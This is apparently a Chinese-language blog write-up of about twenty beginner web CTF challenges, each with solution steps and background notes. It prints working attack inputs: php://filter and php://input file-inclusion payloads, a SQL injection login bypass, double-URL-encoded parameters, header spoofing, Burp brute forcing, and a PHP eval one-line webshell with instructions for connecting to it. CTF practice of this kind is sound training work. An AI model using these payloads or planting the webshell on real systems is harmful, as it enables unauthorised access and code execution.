功防世界 web
功防世界 web
目录在右侧,大家可以根据需要选择
1.view_source
✔解题方法
1.F12查看源码
2.warmup
代码审计
✔解题方法
1.查看网页源代码
<html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg">
</body></html>
2.查看source.cpp文件(看不懂,先摆一会🤪)
http://1742fad2-dca5-4983-9545-a7f1f066d279.node4.buuoj.cn:81/source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//如果page的值为空或者不是字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//检测page的值是否在白名单中
if (in_array($page, $whitelist)) {
return true;
}
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
//检验page的值是否在白名单内
if (in_array($_page, $whitelist)) {
return true;
}
//将url编码后的字符串还原成未编码的样子,然后赋值给page
$_page = urldecode($page);
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
//检验page的值是否在白名单内
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
参考大佬https://blog.csdn.net/m0_52923241/article/details/119641325
4.查看hint.php文件
http://1742fad2-dca5-4983-9545-a7f1f066d279.node4.buuoj.cn:81/hint.php
显示:
flag not here, and flag in ffffllllaaaagggg
说明文件在ffffllllaaaagggg里
5.找到ffffllllaaaagggg文件
找到flag
👀知识点
1.代码审计的定义
顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。
🤔说白了就是理解代码,看看有没有bug
2.函数
is_string():检测变量是否是字符串
isset():检测变量是否已设置并且非 NULL
in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值
mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值
mb_strpos():查找字符串在另一个字符串中首次出现的位置
urldecode():将url编码后的字符串还原成未编码的样子
3.路径中的"./"、"../"、"/"代表的含义
“./”:代表目前所在的目录。
" . ./": 代表上一层目录。
“/”:代表根目录。
3.robots
✔解题方法
1.先尝试F12查看源代码
2.根据题目提示,查看/robots.txt文件
3.查看/f1ag_1s_h3re.php,得到flag
👀知识点
1.robots.txt
下午刚好看到入门教程里提到了,robots.txt就是一种爬虫协议,告诉搜索引擎哪些页面是可以被收录,哪些不可以。一般在根目录下。
4.get_post
✔解题方法
1./?a=1(写的比较简洁,大家将就看)
2.用hackbar插件post data"b=2",得到flag
👀知识点
1.get、post传参方法
get传参方法:在url(web地址)后添加/?后加变量名,每个变量名由?隔开
post传参方法:在url里输入当前网页网址,选择post data,在下方出现文本框中输入所需传入参数即可
5.backup
✔解题方法
1.百度了一下index.php的备份文件名
2.构造了/index.php.bak
3.下载.bak文件
4.用记事本打开找到flag
👀知识点
1.常见的备份文件后缀名有:
.git .svn .swp .svn .~ .bak .bash_history
2.扫目录脚本dirsearch
(项目地址:https://github.com/maurosoria/dirsearch
(https://github.com/maurosoria/dirsearch
))
6.cookie
-->我知道什么是cookie,但是我不知道怎么获取
✔解题方法
1.首先还是F12找找有没有有用的信息,左翻翻右翻翻发现有cookie.php这么个东西
2.构造/cookie.php,得到提示:
3.F12在网络一栏可以查看响应头
3.也可以使用burp抓包得到响应包
👀知识点
1.简单介绍一下cookie
1、Cookie,有时候也用复数形式Cookies,这种是指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密);简单来说就是它能够把你在访问网站时的产生的一些行为信息给读取保存下来,常用的是我们在访问某些网页时提示我们是否需要保存用户名和密码,下次登录的时候能够自动登录,无需重新登录;
2、Cookie 技术诞生以来,它就成了广大网络用户和 Web 开发人员争论的一个焦点。有一些网络用户,甚至包括一些资深的 Web 专家也对它的产生和推广感到不满,这并不是因为 Cookie 技术的功能太弱或其他技术性能上的原因,而是因为 Cookie 的使用对网络用户的隐私构成了危害。因为 Cookie 是由 Web 服务器保存在用户浏览器上的小文本文件,它包含有关用户的信息。
7.disabled_button
✔解题方法
方法一:
1.F12查看源码并展开
2.把disabled改成abled或者直接删掉
3.按下按钮得到flag
方法二:
1.通过查看源码可以发现表单为post请求,通过提交的方式可以得到名为auth的值flag
2.所以可以尝试使用hackbar
8.weak_auth
✔解题方法
1.随便输了一个,提示
2.用户名:admin 密码:123456
-->算是一套就中?
返回试了试别的密码
-->果然是随手设的密码啊
看了一眼答案,密码用爆破也可以,我就不试了。
9.simple_php
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
✔解题方法
根据代码,我们需要使a==0,且a为真,b不是数字或数字字符,且b>1234
例如/?a="0"&b=12345o
其他的一些比较好的方法
👀知识点
1.php的弱类型比较
php中有两种比较符号
===会同时比较字符串的值和类型
==会先将字符串转换成相同类型,再做比较
2.is_numeric()、 empty() 、 is_null()、isset() 函数比较
首先我们要知道,"42"是一个字符串,而42是一个整数,false是一个布尔值,而"false"是一个字符串。
如果 value
是数字或数字字符串, 返回 true
,否则返回 false
。
HTML表单不传递整数、浮点数或者布尔值,它们只传递字符串。想要检测一个字符串是不是数字,可以使用is_numeric()函数。
当var
存在,并且是一个非空非零的值时返回 false
否则返回 true
.
以下东西被认为是空的:
- “ ”(空字符串)
- 0(作为整数的0)
- 0.0(作为浮点数的0)
- "0"(作为字符串的0)
- null
- false
- array()(一个空数组)
- $var;(声明了变量,但是没有赋初值)
检测变量是否为null
如果 var
是 null 则返回 true
,否则返回 false
。
下列情况下一个变量被认为是null:
- 被赋值为null
- 未被赋值
- 被unset()
清除指定变量
检测变量是否已声明并且其值不为null
如果 var
存在并且值不是 null
则返回 true
,否则返回 false
。
isset()只能用于变量,因为传递任何其它参数都将造成解析错误。若想检测常量是否已设置,可使用 defined() 函数。
三者区别可以对照这个表理解
表达式 | empty() | is_null() | isset() |
---|---|---|---|
$x = ""; |
true |
false |
true |
$x = null; |
true |
true |
false |
var $x; |
true |
true |
false |
$x is undefined | true |
true |
false |
$x = []; |
true |
false |
true |
$x = ['a', 'b']; |
false |
false |
true |
$x = false; |
true |
false |
true |
$x = true; |
false |
false |
true |
$x = 1; |
false |
false |
true |
$x = 42; |
false |
false |
true |
$x = 0; |
true |
false |
true |
$x = -1; |
false |
false |
true |
$x = "1"; |
false |
false |
true |
$x = "0"; |
true |
false |
true |
$x = "-1"; |
false |
false |
true |
$x = "php"; |
false |
false |
true |
$x = "true"; |
false |
false |
true |
$x = "false"; |
false |
false |
true |
10.Training-WWW-Robots
✔解题方法
1.依据题目先访问/robots.txt
2.访问/f10g.php
👀知识点
有关robots.txt协议在之前的题讲过,这里不再讲
11.baby_web
✔解题方法
1.尝试访问index.php,发现直接跳转到了1.php页面,也就是上图
2.F12查看网络找到了文件index.php,同理,在响应头找到了我们的flag
👀知识点
1.http响应头中的location作用
为了方便理解,我用burp抓了个包
Location响应报头域用于重定向接受者到一个新的位置。
例如客户端所请求的页面已不存在原先的位置,为了让客户端重定向到这个页面新的位置,服务器端可以发挥location响应报头后使用重定向语句,让客户端去访问新的域名所对应的服务器上的资源。
12.ics-06
-->首页做的非常牛逼啊,能点进去的就只有一个报表中心
✔解题方法
尝试了找各种信息,没发现什么特别的,出不来,上了个百度,居然告诉我要爆破id,我真的会谢
1.burp首先选中要爆破的位置
2.设置爆破方式,先浅试个2000(经检验2000不够,至少2500)
3.点击右上角开始爆破
4.按顺序排列找到length不一样的
5.在响应包找到flag
👀知识点
没啥知识点,我也不是很理解设在id的位置
13.PHP2
✔解题方法
我写不出来,借一位博主的,原文链接
查看源代码以及f12后没有看到想要的信息,进入index.php页面也没有变化其实这里需要有一个知识点要了解:
后缀名为.phps的文件:phps即php source,phps文件就是php的源代码文件,通常用于提供给用户查看php代码,因为用户无法通过web浏览器直接查看到php文件的内容,所以需要用phps文件代替。其实网站的提示信息也暗示了我们需要查看.phps文件
了解这一知识点后,我们进入index.phps文件
进行代码审计:
①传的参数id不能为admin;
②参数id会进行一次URL解码;
③进行URL解码后的id如果等于admin,回显flag;
根据以上三个条件,我们先初步构造payload:?id=%61dmin。
注意:.phps文件是无法接收参数的,所以我们在传递参数时还是需要在index.php文件下
但是网页却没有回显,这里又不得不提到另一个知识点了:
在传入参数时,浏览器会对非ASCII编码进行一次urlencode,结果在代码执行时,相当于id还是admin,所以我们在传参时需要进行两次URL编码
再次构造payload:?id=%2561dmin
14.fileinclude
✔解题方法
1.常规操作F12
2.发现敏感词setcookie,先访问/index.php,再尝试抓包,构造cookie
Cookie: language=php://filter/read=convert.base64-encode/resource=flag
3.发送请求,得到一串base64编码
4.解码得到flag
👀知识点
15.fileclude
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
✔解题方法
题目中,文件包含漏洞位于file1
与file2
两个变量中。
file2
被放入了file_get_contents函数中,并要求返回值为hello ctf
,我们可以用php://input
来绕过;
file1
被放入include
函数中,并且根据题目提示,我们应该获取当前目录下flag.php的文件内容。因此我们可以使用php://filter
伪协议来读取源代码。最终可以得到flag.php经过Base64编码后的结果。
Payload:
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
Post:
hello ctf
直接post data没有用(。。。一度以为我的hackbar出问题了)百度了一下,发现有人用burp的就试了一下,我真的会谢
(后来想想,post data不能运行应该是没有“=”)
得到base64的编码,解码即可
👀知识点
1.file_get_contents()
file_get_contents()待读取文件的路径作为参数发给函数,函数并且返回成功时读取的数据,失败时返回false。
16.inget
✔解题方法
尝试万能密码
/?id=' or 1=1 --+
👀知识点
万能密码别的期已经讲腻了,就不讲了
17.easyupload
✔解题方法
-->非常明显的上传点哈,不出意外的话,需要上传木马文件再getshell,可能还得用上蚁剑,emmmmm,先摆摆,暂时不是很想做
👀知识点
18.file_include
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
✔解题方法
先尝试了一下filter
写不出来,先这样
👀知识点
19.webshell
✔解题方法
先去百度了一下
(搜到的放下面知识点了)
再根据题目提示index.php
可以看到他的phpinfo页面
找了一圈啊,没有在这个里面找到flag,但是没有关系,通过shell我们还可以做别的事情,比如ls列出他的目录
发现了一个叫flag的文本文件,说不定我们要的flag就在里面呢
非常牛逼啊非常牛逼
气氛都到这了,让我们来试试蚁剑
emmmm也是非常的easy啊,大家可以试试
👀知识点
以下来自https://blog.csdn.net/whatday/article/details/107070493
<?php @eval($_POST['shell']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是:
首先存在一个名为shell
的变量,shell
的取值为HTTP的POST方式。Web服务器对shell
取值以后,然后通过eval()函数执行shell
里面的内容。实例:
<?php @eval($_POST['shell']);?>
将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入
shell=phpinfo();
也可以用蚁剑或菜刀等工具连接(我这里用的是蚁剑):
在url地址框中输入http://127.0.0.1/webshell.php
,在连接密码框中输入shell
然后就可以看到目标站点目录下的文件了
20.command_execution
✔解题方法
emmmm,题目也给了我们提示啊,没有写waf,相当于,我们可以使用命令绕过
很奇怪嗷,没有flag,没办法,就只能一个一个目录的查看,终于在home里,找到了
👀知识点
这个题我在BUU里写过,需要看知识点的可以去翻BUUCTF web,第五题 [ACTF2020 新生赛]Exec
21.xff.referer
✔解题方法
挂个ip
要求还不少啊,说起换浏览器,好像是可以改的,我先想想
不出意外的话,我是不是把这里改了就好了,但是后面的数字怎么填呢,不知道,百度了一下发现要在请求包里添加一段:
Referer:http://www.google.com
(我send了半天也没反应,有时候又报400)(冒号是send完没了的)
还有另外一种方法
hackbar可以直接referer
得到flag
再去试试抓了个包
没看出来跟我上面的请求包有什么太大的区别
👀知识点
X-Forwarded-For(XFF)是http的拓展头部,作用是使Web服务器获取访问用户的IP真实地址(可伪造)。由于很多用户通过代理服务器进行访问,服务器只能获取代理服务器的IP地址,而xff的作用在于记录用户的真实IP,以及代理服务器的IP。
格式为:X-Forwarded-For: 本机IP, 代理1IP, 代理2IP, 代理2IP
Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。
简单来说,xff和referer是HTTP协议首部中的两个字段,分别指出发送方最原始的IP地址,和你从哪个页面的链接进入的这个页面。
暂时就到这了,多的我暂时也不会
✔解题方法
👀知识点